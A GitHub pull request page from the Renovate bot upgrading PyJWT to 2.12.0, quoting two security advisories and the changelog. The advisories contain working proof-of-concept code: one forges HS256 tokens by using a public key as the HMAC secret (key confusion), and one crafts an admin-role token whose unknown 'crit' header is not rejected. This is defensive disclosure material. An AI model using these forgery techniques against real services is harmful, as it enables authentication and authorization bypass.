Skip to content

chore(deps): update dependency pyjwt to v2 [security]#70

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyjwt-vulnerability
Open

chore(deps): update dependency pyjwt to v2 [security]#70
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyjwt-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate Bot commented Aug 6, 2024

This PR contains the following updates:

Package Change Age Confidence
PyJWT ==1.7.1==2.12.0 age confidence

Key confusion through non-blocklisted public key formats

CVE-2022-29217 / GHSA-ffqj-6fqr-9h24

More information

Details

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
"jwt.algorithms.get_default_algorithms()" to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with "ssh-rsa". If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with "ssh-", for
example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

##### Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

##### Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

##### Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

##### Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

##### Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

##### Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work

##### HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#

#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",

#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",

#            b"ssh-rsa",
#        ]

#
##### However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:

#
#                if "-----BEGIN PUBLIC" in str_key:

#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:

#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":

#                    return load_ssh_public_key(key)
#

##### These should most likely made to match each other to prevent this behavior
import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem

#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

##### Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

##### Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts unknown crit header extensions

CVE-2026-32597 / GHSA-752w-5fwx-jx9f

More information

Details

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a crit array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).


RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this
specification and/or [JWA] are being used that MUST be understood and
processed. [...] If any of the listed extension Header Parameters are
not understood and supported by the recipient, then the JWS is invalid.


Proof of Concept
import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

##### Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

##### Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy
Actual: Token accepted, payload returned.

Comparison with RFC-compliant library
##### jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])

##### raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

Impact
  • Split-brain verification in mixed-library deployments (e.g., API
    gateway using jwcrypto rejects, backend using PyJWT accepts)
  • Security policy bypass when crit carries enforcement semantics
    (MFA, token binding, scope restrictions)
  • Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be
    silently ignored
  • See CVE-2025-59420 for full impact analysis

Suggested Fix

In jwt/api_jwt.py, add validation in _validate_headers() or
decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

CWE
  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-863: Incorrect Authorization
References

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

jpadilla/pyjwt (PyJWT)

v2.12.0

Compare Source

Security

What's Changed

New Contributors

Full Changelog: jpadilla/pyjwt@2.11.0...2.12.0

v2.11.0

Compare Source

Fixed


Added

v2.10.1

Compare Source

Fixed

- Validate key against allowed types for Algorithm family in `#&#8203;964 <https://github.com/jpadilla/pyjwt/pull/964>`__
- Add iterator for JWKSet in `#&#8203;1041 <https://github.com/jpadilla/pyjwt/pull/1041>`__
- Validate `iss` claim is a string during encoding and decoding by @&#8203;pachewise in `#&#8203;1040 <https://github.com/jpadilla/pyjwt/pull/1040>`__
- Improve typing/logic for `options` in decode, decode_complete by @&#8203;pachewise in `#&#8203;1045 <https://github.com/jpadilla/pyjwt/pull/1045>`__
- Declare float supported type for lifespan and timeout by @&#8203;nikitagashkov in `#&#8203;1068 <https://github.com/jpadilla/pyjwt/pull/1068>`__

Added
  • Docs: Add example of using leeway with nbf by @​djw8605 in #&#8203;1034 <https://github.com/jpadilla/pyjwt/pull/1034>__
  • Docs: Refactored docs with autodoc; added PyJWS and jwt.algorithms docs by @​pachewise in #&#8203;1045 <https://github.com/jpadilla/pyjwt/pull/1045>__
  • Docs: Documentation improvements for "sub" and "jti" claims by @​cleder in #&#8203;1088 <https://github.com/jpadilla/pyjwt/pull/1088>

v2.10.0

Compare Source

Fixed


- Prevent partial matching of `iss` claim by @&#8203;fabianbadoi in `GHSA-75c5-xw7c-p5pm <https://github.com/jpadilla/pyjwt/security/advisories/GHSA-75c5-xw7c-p5pm>`__

v2.9.0

Compare Source

Changed


- Remove algorithm requirement from JWT API, instead relying on JWS API for enforcement, by @&#8203;luhn in `#&#8203;975 <https://github.com/jpadilla/pyjwt/pull/975>`__
- Use ``Sequence`` for parameter types rather than ``List`` where applicable by @&#8203;imnotjames in `#&#8203;970 <https://github.com/jpadilla/pyjwt/pull/970>`__
- Add JWK support to JWT encode by @&#8203;luhn in `#&#8203;979 <https://github.com/jpadilla/pyjwt/pull/979>`__
- Encoding and decoding payloads using the `none` algorithm by @&#8203;jpadilla in `#c2629f6 <https://github.com/jpadilla/pyjwt/commit/c2629f66c593459e02616048443231ccbe18be16>`

  Before:

  .. code-block:: pycon

   >>> import jwt
   >>> jwt.encode({"payload": "abc"}, key=None, algorithm=None)

  After:

  .. code-block:: pycon

   >>> import jwt
   >>> jwt.encode({"payload": "abc"}, key=None, algorithm="none")

- Added validation for 'sub' (subject) and 'jti' (JWT ID) claims in tokens by @&#8203;Divan009 in `#&#8203;1005 <https://github.com/jpadilla/pyjwt/pull/1005>`__
- Refactor project configuration files from ``setup.cfg`` to ``pyproject.toml`` by @&#8203;cleder in `#&#8203;995 <https://github.com/jpadilla/pyjwt/pull/995>`__
- Ruff linter and formatter changes by @&#8203;gagandeepp in `#&#8203;1001 <https://github.com/jpadilla/pyjwt/pull/1001>`__
- Drop support for Python 3.8 (EOL) by @&#8203;kkirsche in `#&#8203;1007 <https://github.com/jpadilla/pyjwt/pull/1007>`__

Fixed
~~~~~

- Encode EC keys with a fixed bit length by @&#8203;etianen in `#&#8203;990 <https://github.com/jpadilla/pyjwt/pull/990>`__
- Add an RTD config file to resolve Read the Docs build failures by @&#8203;kurtmckee in `#&#8203;977 <https://github.com/jpadilla/pyjwt/pull/977>`__
- Docs: Update ``iat`` exception docs by @&#8203;pachewise in `#&#8203;974 <https://github.com/jpadilla/pyjwt/pull/974>`__
- Docs: Fix ``decode_complete`` scope and algorithms by @&#8203;RbnRncn in `#&#8203;982 <https://github.com/jpadilla/pyjwt/pull/982>`__
- Fix doctest for ``docs/usage.rst`` by @&#8203;pachewise in `#&#8203;986 <https://github.com/jpadilla/pyjwt/pull/986>`__
- Fix ``test_utils.py`` not to xfail by @&#8203;pachewise in `#&#8203;987 <https://github.com/jpadilla/pyjwt/pull/987>`__
- Docs: Correct `jwt.decode` audience param doc expression by @&#8203;peter279k in `#&#8203;994 <https://github.com/jpadilla/pyjwt/pull/994>`__

Added
~~~~~

- Add support for python 3.13 by @&#8203;hugovk in `#&#8203;972 <https://github.com/jpadilla/pyjwt/pull/972>`__
- Create SECURITY.md by @&#8203;auvipy and @&#8203;jpadilla in `#&#8203;973 <https://github.com/jpadilla/pyjwt/pull/973>`__
- Docs: Add PS256 encoding and decoding usage by @&#8203;peter279k in `#&#8203;992 <https://github.com/jpadilla/pyjwt/pull/992>`__
- Docs: Add API docs for PyJWK by @&#8203;luhn in `#&#8203;980 <https://github.com/jpadilla/pyjwt/pull/980>`__
- Docs: Add EdDSA algorithm encoding/decoding usage by @&#8203;peter279k in `#&#8203;993 <https://github.com/jpadilla/pyjwt/pull/993>`__
- Include checkers and linters for ``pyproject.toml`` in ``pre-commit`` by @&#8203;cleder in `#&#8203;1002 <https://github.com/jpadilla/pyjwt/pull/1002>`__
- Docs: Add ES256 decoding usage by @&#8203;Gautam-Hegde in `#&#8203;1003 <https://github.com/jpadilla/pyjwt/pull/1003>`

v2.8.0

Compare Source

Changed


- Drop support for Python 3.7 (EOL) by @&#8203;hugovk in `#&#8203;910 <https://github.com/jpadilla/pyjwt/pull/910>`__
- Allow JWT issuer claim validation to accept a list of strings too by @&#8203;mattpollak in `#&#8203;913 <https://github.com/jpadilla/pyjwt/pull/913>`__

Fixed
~~~~~

- Fix unnecessary string concatenation by @&#8203;sirosen in `#&#8203;904 <https://github.com/jpadilla/pyjwt/pull/904>`__
- Fix docs for ``jwt.decode_complete`` to include ``strict_aud`` option by @&#8203;woodruffw in `#&#8203;923 <https://github.com/jpadilla/pyjwt/pull/923>`__
- Fix docs step by @&#8203;jpadilla in `#&#8203;950 <https://github.com/jpadilla/pyjwt/pull/950>`__
- Fix: Remove an unused variable from example code block by @&#8203;kenkoooo in `#&#8203;958 <https://github.com/jpadilla/pyjwt/pull/958>`__

Added
~~~~~

- Add support for Python 3.12 by @&#8203;hugovk in `#&#8203;910 <https://github.com/jpadilla/pyjwt/pull/910>`__
- Improve performance of ``is_ssh_key`` + add unit test by @&#8203;bdraco in `#&#8203;940 <https://github.com/jpadilla/pyjwt/pull/940>`__
- Allow ``jwt.decode()`` to accept a PyJWK object by @&#8203;luhn in `#&#8203;886 <https://github.com/jpadilla/pyjwt/pull/886>`__
- Make ``algorithm_name`` attribute available on PyJWK by @&#8203;luhn in `#&#8203;886 <https://github.com/jpadilla/pyjwt/pull/886>`__
- Raise ``InvalidKeyError`` on invalid PEM keys to be compatible with cryptography 42.x.x by @&#8203;CollinEMac in `#&#8203;952 <https://github.com/jpadilla/pyjwt/pull/952>`__
- Raise an exception when required cryptography dependency is missing by @&#8203;tobloef in `<https://github.com/jpadilla/pyjwt/pull/963>`__

v2.7.0

Compare Source

Changed


- Update python version test matrix by @&#8203;auvipy in `#&#8203;895 <https://github.com/jpadilla/pyjwt/pull/895>`__

Fixed
~~~~~

Added
~~~~~

- Add ``strict_aud`` as an option to ``jwt.decode`` by @&#8203;woodruffw in `#&#8203;902 <https://github.com/jpadilla/pyjwt/pull/902>`__
- Export PyJWKClientConnectionError class by @&#8203;daviddavis in `#&#8203;887 <https://github.com/jpadilla/pyjwt/pull/887>`__
- Allows passing of ssl.SSLContext to PyJWKClient by @&#8203;juur in `#&#8203;891 <https://github.com/jpadilla/pyjwt/pull/891>`__

v2.6.0

Compare Source

Changed


- Changed the error message when the token audience doesn't match the expected audience by @&#8203;irdkwmnsb `#&#8203;809 <https://github.com/jpadilla/pyjwt/pull/809>`__
- Improve error messages when cryptography isn't installed by @&#8203;Viicos in `#&#8203;846 <https://github.com/jpadilla/pyjwt/pull/846>`__
- Make `Algorithm` an abstract base class by @&#8203;Viicos in `#&#8203;845 <https://github.com/jpadilla/pyjwt/pull/845>`__
- ignore invalid keys in a jwks by @&#8203;timw6n in `#&#8203;863 <https://github.com/jpadilla/pyjwt/pull/863>`__

Fixed
~~~~~

- Add classifier for Python 3.11 by @&#8203;eseifert in `#&#8203;818 <https://github.com/jpadilla/pyjwt/pull/818>`__
- Fix ``_validate_iat`` validation by @&#8203;Viicos in `#&#8203;847 <https://github.com/jpadilla/pyjwt/pull/847>`__
- fix: use datetime.datetime.timestamp function to have a milliseconds by @&#8203;daillouf `#&#8203;821 <https://github.com/jpadilla/pyjwt/pull/821>`__
- docs: correct mistake in the changelog about verify param by @&#8203;gbillig in `#&#8203;866 <https://github.com/jpadilla/pyjwt/pull/866>`__

Added
~~~~~

- Add ``compute_hash_digest`` as a method of ``Algorithm`` objects, which uses
  the underlying hash algorithm to compute a digest. If there is no appropriate
  hash algorithm, a ``NotImplementedError`` will be raised in `#&#8203;775 <https://github.com/jpadilla/pyjwt/pull/775>`__
- Add optional ``headers`` argument to ``PyJWKClient``. If provided, the headers
  will be included in requests that the client uses when fetching the JWK set by @&#8203;thundercat1 in `#&#8203;823 <https://github.com/jpadilla/pyjwt/pull/823>`__
- Add PyJWT._{de,en}code_payload hooks by @&#8203;akx in `#&#8203;829 <https://github.com/jpadilla/pyjwt/pull/829>`__
- Add `sort_headers` parameter to `api_jwt.encode` by @&#8203;evroon in `#&#8203;832 <https://github.com/jpadilla/pyjwt/pull/832>`__
- Make mypy configuration stricter and improve typing by @&#8203;akx in `#&#8203;830 <https://github.com/jpadilla/pyjwt/pull/830>`__
- Add more types by @&#8203;Viicos in `#&#8203;843 <https://github.com/jpadilla/pyjwt/pull/843>`__
- Add a timeout for PyJWKClient requests by @&#8203;daviddavis in `#&#8203;875 <https://github.com/jpadilla/pyjwt/pull/875>`__
- Add client connection error exception by @&#8203;daviddavis in `#&#8203;876 <https://github.com/jpadilla/pyjwt/pull/876>`__
- Add complete types to take all allowed keys into account by @&#8203;Viicos in `#&#8203;873 <https://github.com/jpadilla/pyjwt/pull/873>`__
- Add `as_dict` option to `Algorithm.to_jwk` by @&#8203;fluxth in `#&#8203;881 <https://github.com/jpadilla/pyjwt/pull/881>`__

v2.5.0

Compare Source

Changed


- bump up cryptography >= 3.4.0 by @&#8203;jpadilla in `#&#8203;807 <https://github.com/jpadilla/pyjwt/pull/807>`_
- Remove `types-cryptography` from `crypto` extra by @&#8203;lautat in `#&#8203;805 <https://github.com/jpadilla/pyjwt/pull/805>`_

Fixed
~~~~~

- Invalidate token on the exact second the token expires `#&#8203;797 <https://github.com/jpadilla/pyjwt/pull/797>`_
- fix: version 2.5.0 heading typo by @&#8203;c0state in `#&#8203;803 <https://github.com/jpadilla/pyjwt/pull/803>`_

Added
~~~~~
- Adding validation for `issued_at` when `iat > (now + leeway)` as `ImmatureSignatureError` by @&#8203;sriharan16 in https://github.com/jpadilla/pyjwt/pull/794

v2.4.0

Compare Source

Changed


- Skip keys with incompatible alg when loading JWKSet by @&#8203;DaGuich in `#&#8203;762 <https://github.com/jpadilla/pyjwt/pull/762>`__
- Remove support for python3.6 by @&#8203;sirosen in `#&#8203;777 <https://github.com/jpadilla/pyjwt/pull/777>`__
- Emit a deprecation warning for unsupported kwargs by @&#8203;sirosen in `#&#8203;776 <https://github.com/jpadilla/pyjwt/pull/776>`__
- Remove redundant wheel dep from pyproject.toml by @&#8203;mgorny in `#&#8203;765 <https://github.com/jpadilla/pyjwt/pull/765>`__
- Do not fail when an unusable key occurs by @&#8203;DaGuich in `#&#8203;762 <https://github.com/jpadilla/pyjwt/pull/762>`__
- Update audience typing by @&#8203;JulianMaurin in `#&#8203;782 <https://github.com/jpadilla/pyjwt/pull/782>`__
- Improve PyJWKSet error accuracy by @&#8203;JulianMaurin in `#&#8203;786 <https://github.com/jpadilla/pyjwt/pull/786>`__
- Mypy as pre-commit check + api_jws typing by @&#8203;JulianMaurin in `#&#8203;787 <https://github.com/jpadilla/pyjwt/pull/787>`__

Fixed
~~~~~

- Adjust expected exceptions in option merging tests for PyPy3 by @&#8203;mgorny in `#&#8203;763 <https://github.com/jpadilla/pyjwt/pull/763>`__
- Fixes for pyright on strict mode by @&#8203;brandon-leapyear in `#&#8203;747 <https://github.com/jpadilla/pyjwt/pull/747>`__
- docs: fix simple typo, iinstance -> isinstance by @&#8203;timgates42 in `#&#8203;774 <https://github.com/jpadilla/pyjwt/pull/774>`__
- Fix typo: priot -> prior by @&#8203;jdufresne in `#&#8203;780 <https://github.com/jpadilla/pyjwt/pull/780>`__
- Fix for headers disorder issue by @&#8203;kadabusha in `#&#8203;721 <https://github.com/jpadilla/pyjwt/pull/721>`__

Added
~~~~~

- Add to_jwk static method to ECAlgorithm by @&#8203;leonsmith in `#&#8203;732 <https://github.com/jpadilla/pyjwt/pull/732>`__
- Expose get_algorithm_by_name as new method by @&#8203;sirosen in `#&#8203;773 <https://github.com/jpadilla/pyjwt/pull/773>`__
- Add type hints to jwt/help.py and add missing types dependency by @&#8203;kkirsche in `#&#8203;784 <https://github.com/jpadilla/pyjwt/pull/784>`__
- Add cacheing functionality for JWK set by @&#8203;wuhaoyujerry in `#&#8203;781 <https://github.com/jpadilla/pyjwt/pull/781>`__

v2.3.0

Compare Source

Security


- [CVE-2022-29217] Prevent key confusion through non-blocklisted public key formats. https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24

Changed
~~~~~~~

- Explicit check the key for ECAlgorithm by @&#8203;estin in https://github.com/jpadilla/pyjwt/pull/713
- Raise DeprecationWarning for jwt.decode(verify=...) by @&#8203;akx in https://github.com/jpadilla/pyjwt/pull/742

Fixed
~~~~~

- Don't use implicit optionals by @&#8203;rekyungmin in https://github.com/jpadilla/pyjwt/pull/705
- documentation fix: show correct scope for decode_complete() by @&#8203;sseering in https://github.com/jpadilla/pyjwt/pull/661
- fix: Update copyright information by @&#8203;kkirsche in https://github.com/jpadilla/pyjwt/pull/729
- Don't mutate options dictionary in .decode_complete() by @&#8203;akx in https://github.com/jpadilla/pyjwt/pull/743

Added
~~~~~

- Add support for Python 3.10 by @&#8203;hugovk in https://github.com/jpadilla/pyjwt/pull/699
- api_jwk: Add PyJWKSet.__getitem__ by @&#8203;woodruffw in https://github.com/jpadilla/pyjwt/pull/725
- Update usage.rst by @&#8203;guneybilen in https://github.com/jpadilla/pyjwt/pull/727
- Docs: mention performance reasons for reusing RSAPrivateKey when encoding by @&#8203;dmahr1 in https://github.com/jpadilla/pyjwt/pull/734
- Fixed typo in usage.rst by @&#8203;israelabraham in https://github.com/jpadilla/pyjwt/pull/738
- Add detached payload support for JWS encoding and decoding by @&#8203;fviard in https://github.com/jpadilla/pyjwt/pull/723
- Replace various string interpolations with f-strings by @&#8203;akx in https://github.com/jpadilla/pyjwt/pull/744
- Update CHANGELOG.rst by @&#8203;hipertracker in https://github.com/jpadilla/pyjwt/pull/751

v2.2.0

Compare Source

Fixed


- Revert "Remove arbitrary kwargs." `#&#8203;701 <https://github.com/jpadilla/pyjwt/pull/701>`__

Added
  • Add exception chaining #&#8203;702 <https://github.com/jpadilla/pyjwt/pull/702>__

v2.1.0

Compare Source

Changed


- Remove arbitrary kwargs. `#&#8203;657 <https://github.com/jpadilla/pyjwt/pull/657>`__
- Use timezone package as Python 3.5+ is required. `#&#8203;694 <https://github.com/jpadilla/pyjwt/pull/694>`__

Fixed
~~~~~
- Assume JWK without the "use" claim is valid for signing as per RFC7517 `#&#8203;668 <https://github.com/jpadilla/pyjwt/pull/668>`__
- Prefer `headers["alg"]` to `algorithm` in `jwt.encode()`. `#&#8203;673 <https://github.com/jpadilla/pyjwt/pull/673>`__
- Fix aud validation to support {'aud': null} case. `#&#8203;670 <https://github.com/jpadilla/pyjwt/pull/670>`__
- Make `typ` optional in JWT to be compliant with RFC7519. `#&#8203;644 <https://github.com/jpadilla/pyjwt/pull/644>`__
-  Remove upper bound on cryptography version. `#&#8203;693 <https://github.com/jpadilla/pyjwt/pull/693>`__

Added
~~~~~

- Add support for Ed448/EdDSA. `#&#8203;675 <https://github.com/jpadilla/pyjwt/pull/675>`__

v2.0.1

Compare Source

Changed


- Allow claims validation without making JWT signature validation mandatory. `#&#8203;608 <https://github.com/jpadilla/pyjwt/pull/608>`__

Fixed
~~~~~

- Remove padding from JWK test data. `#&#8203;628 <https://github.com/jpadilla/pyjwt/pull/628>`__
- Make `kty` mandatory in JWK to be compliant with RFC7517. `#&#8203;624 <https://github.com/jpadilla/pyjwt/pull/624>`__
- Allow JWK without `alg` to be compliant with RFC7517. `#&#8203;624 <https://github.com/jpadilla/pyjwt/pull/624>`__
- Allow to verify with private key on ECAlgorithm, as well as on Ed25519Algorithm. `#&#8203;645 <https://github.com/jpadilla/pyjwt/pull/645>`__

Added
~~~~~

- Add caching by default to PyJWKClient `#&#8203;611 <https://github.com/jpadilla/pyjwt/pull/611>`__
- Add missing exceptions.InvalidKeyError to jwt module __init__ imports `#&#8203;620 <https://github.com/jpadilla/pyjwt/pull/620>`__
- Add support for ES256K algorithm `#&#8203;629 <https://github.com/jpadilla/pyjwt/pull/629>`__
- Add `from_jwk()` to Ed25519Algorithm `#&#8203;621 <https://github.com/jpadilla/pyjwt/pull/621>`__
- Add `to_jwk()` to Ed25519Algorithm `#&#8203;643 <https://github.com/jpadilla/pyjwt/pull/643>`__
- Export `PyJWK` and `PyJWKSet` `#&#8203;652 <https://github.com/jpadilla/pyjwt/pull/652>`__

v2.0.0

Compare Source

Changed


- Rename CHANGELOG.md to CHANGELOG.rst and include in docs `#&#8203;597 <https://github.com/jpadilla/pyjwt/pull/597>`__

Fixed
~~~~~

- Fix `from_jwk()` for all algorithms `#&#8203;598 <https://github.com/jpadilla/pyjwt/pull/598>`__

Added
~~~~~

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from 30eeb28 to 6f4fd50 Compare March 13, 2026 22:40
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2 [security] chore(deps): update dependency pyjwt to v2 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot deleted the renovate/pypi-pyjwt-vulnerability branch March 27, 2026 01:03
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2 [security] - autoclosed chore(deps): update dependency pyjwt to v2 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 6f4fd50 to e6ddd80 Compare March 30, 2026 17:40
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2 [security] chore(deps): update dependency pyjwt to v2 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency pyjwt to v2 [security] - autoclosed chore(deps): update dependency pyjwt to v2 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from e6ddd80 to 3d1c828 Compare April 27, 2026 21:04
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

